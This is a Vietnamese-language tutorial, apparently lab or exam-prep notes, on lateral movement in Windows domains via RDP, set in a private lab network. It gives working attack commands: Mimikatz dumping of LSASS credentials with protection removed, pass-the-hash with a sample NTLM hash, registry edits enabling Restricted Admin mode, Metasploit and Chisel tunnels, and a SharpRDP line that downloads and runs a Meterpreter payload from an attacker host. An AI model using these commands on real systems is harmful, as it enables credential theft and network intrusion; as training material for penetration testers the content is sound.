Leo thang đặc quyền ngang trên Windows
Chiếm quyền truy cập vào một Server hay một Client trong một hệ thống mạng nội bộ chỉ là bước đầu tiên trong quá trình xâm nhập điển hình. Khi chúng ta có quyền truy cập ban đầu, mục tiêu của chúng ta là xâm phạm càng nhiều càng tốt tài sản của tổ chức, để từ đó có được quyền truy cập đặc biệt hơn hoặc có đặc quyền truy xuất các thông tin bí mật.
Một chiến dịch sử dụng email độc hại được gửi từ các thành viên trong nội bộ công ty sẽ mang tính chất uy tín hơn so với một email được gửi từ bên ngoài. Một thiết bị IOT (máy in, camera) sẽ dễ dàng bị tổn thương hơn so với một máy chủ được cập nhật thường xuyên. Đồng thời chúng ta cũng có thể sử dụng các thông tin đăng nhập bị rò rỉ để có quyền truy cập vào hệ thống internal.
Mặc dù có nhiều kỹ thuật Lateral Movement mà ta có thể tận dụng để chống lại Windows, tuy nhiên hầu hết dựa vào việc sử dụng lại hash NTLM hoặc ticket Kerberos. Các kỹ thuật có giá trị hoạt động tốt với cả workstation & server
Trong phần này, chúng ta sẽ tập trung khai thác một số kỹ thuật Lateral Movement mà không dựa vào các lỗ hổng phần mềm.
Chúng ta sẽ bắt đầu với Remote Desktop Protocol
1. Về Remote Desktop Protocol
Remote Desktop Protocol (RDP) là một giao thức mạng do Microsoft phát triển, được sử dụng để giao tiếp giữa Client và Server. Nó được sử dụng phổ biến trong nhiều môi trường doanh nghiệp để quản trị từ xa. Đây cũng có thể là một công cụ tuyệt vời để có thể lợi dụng lateral movement.
1.1. Lateral Movement with RDP
Mặc dù được thiết kế cho quản trị viên hệ thống, nhưng RDP có thể bị những kẻ tấn công lạm dụng.
Ở đây ta xây dựng một môi trường như sau:
Bài toán đặt ra khi ta đã có thông tin đăng nhập vào corp1 , appsrv01 và cần thông tin để đăng nhập vào máy chủ DC (thông tin đăng nhập lab/lab)
Ta tiến hành đăng nhập vào máy chủ corp1
xfreerdp /f /u:"corp1\lab" /v:"192.168.138.10" /p:"lab"
Sau đó tiến hành RDP vào "appsrv01" .
Ở đây, chúng ta hoàn toàn không thể đăng nhập trực tiếp từ máy Kali đến appsrv01
vì đơn giản chúng ta đang không được join Domain. Việc sử dụng RDP cho phép ta đăng nhập vào appsrv01
thông qua corp1
Thông thường nếu chúng ta kết nối với máy A với tài khoản X. Thì những ai đang sử dụng tài khoản X này sẽ ngay lập tức bị ngắt kết nối. Để tránh điều đó xảy ra , sử dụng tùy chọn /admin để cho phép với phiên quản trị
Khi một kết nối RDP được tạo, các NTLM hash sẽ nằm trong memory trong suốt thời gian của phiên. Phiên này sẽ không terminate nếu không được logout đúng cách,có nghĩa là chỉ cần ngắt kết nối khỏi các phiên sẽ để lại hash trong memory. Đây là một vector chúng ta có thể lợi dụng để tấn công.
Kiểm tra thông tin đăng nhập của người dùng lab
trên appsrv01
với Mimikatz .
C:\Tools\mimikatz.exe (administrative console) > disable LSA protection > Dump Credential
privilege::debug
!processprotect /process:lsass.exe /remove
sekurlsa::logonpasswords
Kết quả mimikatz
Điều này sẽ cực kỳ có ích nếu chúng ta xâm nhập được vào máy chủ JUMP. Chúng ta có thể dump bất kỳ thông tin đăng nhập đã nào đã cache lạ
Máy chủ JUMP là một máy chủ đặc biệt trong doanh nghiệp, được sử dụng để đăng nhập vào các tài nguyên trong nội bộ. Ví dụ thay vì RDP trực tiếp vào Server, ta RDP vào JUMP Server trước rồi từ đó mới RDP vào Server
Trong nỗ lực ngăn chặn những kẻ tấn công đánh cắp thông tin đăng nhập trên máy chủ bị xâm nhập. Microsoft đã giới thiệu tính năng RDP Restricted Admin Mode
cho phép quản trị viên hệ thống thực hiện đăng nhập RDP an toàn.
Tính năng này cho phép đăng nhập không yêu cầu thông tin xác thực dạng bản rõ và đồng thời không lưu trữ chúng trong memory.
Loại đăng nhập này thường được sử dụng bới các service accounts ( nó sử dụng chính thông tin đang đăng nhập đang sử dụng ở máy chủ A cho máy chủ B)
Chúng ta có thể sử dụng chế độ quản trị hạn chế bằng cách cung cấp tham số /restrictedadmin
cho mstsc.exe.
Chúng ta thử tiến hành DUMP thông tin với Mimikatz
C:\Tools\mimikatz.exe (administrative console) > disable LSA protection > Dump Credential
privilege::debug
!processprotect /process:lsass.exe /remove
sekurlsa::logonpasswords
Kết quả không thấy NTLM hash của lab. Việc này cho phép tránh khỏi các cuộc tấn công trích xuất dữ liệu từ cache Tuy nhiên lại "nảy nòi" ra một cuộc tấn công khác dựa trên tính năng này - Pass The Hash
Quay lại bên trên ta thấy rằng, người dùng lab
đăng nhập vào appsrv01
mà không cần nhập password. Điều này cho thấy NTLM hash đã được sử dụng để trực tiếp đăng nhập thay cho mật khẩu.
Ở đây ta giả định rằng chúng ta đã sở hữu NTLM hash của admin và đã đăng nhập vào với tư cách người dùng lab
Thông tin như sau
user : admin
domain : corp1
ntlm:2892D26CDF84D7A20E2EB3B9A05C425E
Thực hiện cuộc tấn công Pass-the-Hash với Mimikatz
privilege::debug
sekurlsa::pth /user:admin /domain:corp1 /ntlm:2892D26CDF84D7A20E2EB3B9A05C425E /run:"mstsc.exe /restrictedadmin"
Nếu tính năng này không được bật . Chúng ta cần bật nó lên để sử dụng
Điều đầu tiên chúng ta sẽ phải tắt tính năng RestrictedAdmin
(xác nhận được rằng nó bị tắt) sau đó sử dụng Pass-the-hash để bật nó lên
Để tắt RestrictedAdmin
trên appsrv01
ta sử dụng command
Remove-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name DisableRestrictedAdmin
Xác nhận chức năng này đã bị tắt
Bây giờ chúng ta sẽ bật nó lên với Powershell
Trên máy Windows 10 tiến hành PTH (run powershell
thay vì mstsc.exe
)
sekurlsa::pth /user:admin /domain:corp1 /ntlm:2892D26CDF84D7A20E2EB3B9A05C425E /run:powershell
Trên Powershell (lúc này đang chạy với session admin của appsrv01). Ta tiến hành bật RestrictedAdmin
New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name DisableRestrictedAdmin -Value 0
Kết quả thành công, chúng ta lại có thể tiếp tục PTH
Lần này chúng ta có thể sử dụng xfreerdp để PTH
1.2.Reverse RDP Proxying with Metasploit
Có quyền truy cập GUI vào một máy bị xâm nhập giúp ta có thể đơn giản hóa rất nhiều các hoạt động post-exploit. Tuy nhiên có nhiều cơ chế bảo vệ có thể làm phức tạp cách tiếp cận này. Đặc trưng nhất là Firewall và NAT
Ta xem xét mô hình sau
Giả sử ta đã chiếm quyền điều khiển một máy trong Local thông qua phishing và có đầy đủ thông tin để đăng nhập thông qua RDP. Tuy nhiên do FW đã block phương thức này, ta buộc phải sử dụng "kết nối hiện tại" để tạo tunnel cho RDP traffic
Ta sử dụng meterpreter để thực hiện điều này
Đầu tiên ta tạo 1 revershell trên máy Kali
Tiếp tới, ta tiến hành phishing để người dùng thực thi mã ( Ví dụ thế )
Sau khi người dùng thực thi mã, ta có 1 connection
Tiến hành Pivoting
use multi/manage/autoroute
set session 2
exploit
use auxiliary/server/socks_proxy
set srvhost 127.0.0.1
exploit -j
Chúng ta có thể sử dụng proxychain để tiến hành định tuyến
sudo bash -c 'echo "socks4 127.0.0.1 1080" >> /etc/proxychains.conf'
Sử dụng proxychain để RDP vào target
proxychains rdesktop 192.168.138.10
1.4.Reverse RDP Proxying with Chisel
Trong một số trường hợp, không thể sử dụng meterpreter (do đi thi bị cấm hay nó một lý do khác) chúng ta phải dựa vào các ứng dụng độc lập. Công cụ truyền thống được lựa chọn cho việc này là phiên bản command line của puttty là plink. Tuy nhiên chúng ta sẽ sử dụng một công cụ "xịn" hơn là chisel để tiến hành công việc này
Chisel là một phần mềm tạo tunnel mã nguồn mở - xây dựng trên ngôn ngữ lập trình golang. Nó hoạt động băng cách thiết lập một tunnel TCP và thực hiện truyền dữ liệu thông qua HTTP đồng thời bảo mật nó bằng SSH.
Cài đặt Chisel
sudo apt-get install golang
git clone https://github.com/jpillora/chisel.git
cd chisel/
go build
Với phiên bản Linux đã được biên dịch, chúng ta sẽ chuyển sang phiên bản Windows.
env GOOS=windows GOARCH=amd64 go build -o chisel.exe -ldflags "-s -w"
Trên máy Kali
Ta tiến hành thiết lập reverse tunnel
./chisel server -p 8080 --socks5
Tiếp theo, ta tiến hành cấu hình máy chủ proxy SOCKS với SSH
ssh -N -D 0.0.0.0:2080 localhost
Trên máy nạn nhân
chisel.exe client 192.168.149.138:8080 socks
Cuối cùng ta có thể kết nối RDP qua tunnel
sudo proxychains rdesktop 192.168.138.10
Kết nối thành công !!!!
Trong môi trường thực tế, nếu Server có kết nối internet, ta có thể sử dụng Ngrok để thiết lập tunnel - chuyển RPD traffic qua đó
1.3.RDP as a Console
Mặc dù RPD được biết tới với giao diện GUI, tuy nhiên ta cũng có thể sử dụng nó như một công cụ dòng lệnh. Kỹ thuật này sẽ làm giảm lưu lượng kết nối , tránh bị "lag" trong quá trình tấn công
SharpRDP
là một ứng dụng được viết bằng C#, sử dụng giao diện lệnh để hiển thị với chức năng kết nối như mstsc.exe
SharpRDP
được sử dụng như sau :
SharpRDP.exe computername=appsrv01 command=ipconfig username=corp1\lab password=lab
Dễ dàng nhận thấy được, đây là "Blind Command" , trên thực tế chúng ta có thể làm điều này hữu ích hơn bằng cách chạy một revershell
sharprdp.exe computername=appsrv01 command="powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.119.120/met.exe', 'C:\Windows\Tasks\met.exe'); C:\Windows\Tasks\met.exe" username=corp1\lab password=lab
All rights reserved